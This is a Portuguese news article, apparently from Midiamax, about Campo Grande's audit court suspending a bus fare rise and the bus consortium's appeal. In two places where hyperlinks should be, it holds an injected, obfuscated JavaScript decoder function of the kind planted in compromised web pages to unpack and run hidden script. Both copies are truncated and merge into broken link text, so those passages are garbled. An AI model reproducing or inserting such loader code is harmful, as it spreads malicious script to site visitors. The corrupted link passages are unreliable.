Após o TCE-MS (Tribunal de Contas de Mato Grosso do Sul) function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande?fbclid=IwAR2F5hDqhCuA1jDnm-3LForIxW3Ch7OWTGeZ54RkI3wXzlAHe34BXBKwIOk”>decidir pela suspensão do reajuste da tarifa de ônibus em Campo Grande, que voltou a custar R$ 3,95, o Consórcio Guaicurus entrou na Justiça para reverter a decisão.

Conforme informou preliminarmente assessoria de imprensa, a empresa entrou com recurso nesta quinta-feira (9) após ser notificado nesta quarta-feira (8). Apesar de questionada, o Consórcio não deu maiores detalhes do recurso.

Nesta manhã, os passageiros já haviam voltado a pagar a antiga tarifa. Nos terminais e nos PegFácil, ainda não havia uma placa ou informe de que o passe teria voltado a custar R$ 3,95, mas as placas que apontavam o valor do passe a R$ 4,10 já foram retiradas.

Funcionários explicam à reportagem que, quem comprar o passe a R$ 3,95 nesta quinta para recarregar os cartões, pode ficar tranquilo, o valor cobrado no cartão ao passar na catraca será de R$ 3,95, mesmo que posteriormente o Consórcio consiga reverter a decisão.

Risco de ‘tarifaço’

O Consórcio Guaicurus já informou que deve recorrer da decisão para manter a tarifa a R$ 4,10 nos ônibus convencionais em Campo Grande. Entretanto, a Agereg (Agência Municipal de Regulação dos Serviços Públicos) teme que a medida possa resultar em um ‘tarifaço’ para a população.

O diretor-presidente da Agereg, Vinícius Leite, explica que a decisão do TCE pode resultar num aumento e a tarifa pode ultrapassar os R$ 4,10 caso o Consórcio peça reequilíbrio econômico do contrato em razão do período que ficou sem reajuste.

“Caso seja revertida a decisão daqui um, dois, três ou quatro meses, vai ter que computar esse período no qual eles ficaram sem reajuste e reembutir na tarifa. Isso pode resultar num ‘tarifaço’ para a população”, explicou Vinícius Leite.

Suspensão do reajuste

A medida do TCE que suspendeu o reajuste do passe de ônibus foi publicada nesta terça-feira (7). O Tribunal de Contas questionou a relação da tarifa e a prestação de serviço do transporte público em Campo Grande e alegando que não é contra o aumento da tarifa, mas ressalta que o valor cobrado deve ser condizente aos serviços prestados.

O TCE relata a possibilidade de celebração de Termo de Ajustamento de Gestão, para o rápido saneamento e correção das irregularidades. A decisão também determina, que no prazo de cinco dias, o prefeito Marquinhos Trad, e representante Consórcio Guaicurus se manifestem. Também foram intimados responsáveis, como o diretor-presidente da Agereg, para ciência e cumprimento da determinação.

Reajuste da tarifa

O reajuste da tarifa de ônibus passou a valer no dia 28 de dezembro, quando o passe foi de R$ 3,95 a R$ 4,10 nas linhas convencionais em Campo Grande. O passe para os ‘fresquinhos’ foi de R$ 4,50 para R$ 4,90.

Dois dias após o reajuste, no dia 30 de dezembro, o Consórcio Guaicurus protocolou um recurso para elevar a R$ 4,25 o valor da tarifa de ônibus. Em agenda, o prefeito Marquinhos Trad (PSD) disse que negaria o novo aumento.

Em nota, o Consórcio Guaicurus explicou que pediu aumento porque o contrato de concessão, assinado em 2012, prevê que a tarifa seja reajustada a cada 7 anos, ou seja, além do reajuste habitual, o valor poderia subir em razão do contrato.

A empresa disse que não apontou nenhum valor para uma suposta nova tarifa, diferente dos R$ 4,25 informado inicialmente. O artigo 3.8 da cláusula terceira do contrato, a partir da página 7 (function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaande.ms.gov.br/agereg/wp-content/uploads/sites/6/2017/09/CONTRATO-DE-CONCESS%C3%83O-N.-330_2012.pdf?fbclid=IwAR2hisNc01L5M_6fz6n3vqVosPNv3gCXeap6d4RKy5r4NW2FzoUKd_mpfJc">confira aqui), aponta uma revisão de tarifa “sem prejuízo da reaplicação do reajustamento” quando completados 7 anos do contrato. Além disso deste reivindicamento a empresa alega que o ISS (Imposto Sobre Serviço) de 1,5% não foi aplicado na planilha elaborada pela Agereg, por tanto, ficando de fora.

Via Midiamax